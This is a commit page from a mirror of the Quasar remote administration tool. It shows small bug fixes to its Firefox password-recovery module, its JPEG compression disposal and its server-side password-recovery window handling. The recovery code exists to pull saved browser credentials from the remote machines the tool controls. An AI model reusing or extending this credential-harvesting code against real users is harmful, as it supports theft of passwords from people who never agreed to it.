quasar
/
Quasar
mirror of https://github.com/quasar/Quasar.git
1
0
Fork 0
Code Issues Projects Releases Wiki Activity

Merge pull request #359 from d3agle/bugfixes 

Server fixes
This commit is contained in:
MaxXor 2015-08-27 08:27:53 +02:00
parent 03a28cbc97 0a087b461c
commit d747a3be2d
3 changed files with 17 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
Client/Core/Recovery/Browsers/Firefox.cs
View File

@ -202,8 +202,11 @@ namespace xClient.Core.Recovery.Browsers
private static DirectoryInfo GetFirefoxInstallPath()
{
// get firefox path from registry
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox"))
using (RegistryKey key = PlatformHelper.Architecture == 64 ?
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox") :
RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
@"SOFTWARE\Mozilla\Mozilla Firefox"))
{
if (key == null) return null;

6
Server/Core/Compression/JpgCompression.cs
View File

@ -32,7 +32,11 @@ namespace xServer.Core.Compression
{
if (_encoderParams != null)
{
_encoderParams.Dispose();
try
{
_encoderParams.Dispose();
}
catch { }
}
}
}

8
Server/Forms/FrmMain.cs
View File

@ -591,8 +591,14 @@ namespace xServer.Forms
private void ctxtPasswordRecovery_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count != 0)
foreach (Client c in GetSelectedClients())
{
if (c.Value.FrmPass != null)
{
c.Value.FrmPass.Focus();
return;
}
FrmPasswordRecovery frmPass = new FrmPasswordRecovery(GetSelectedClients());
frmPass.Show();
}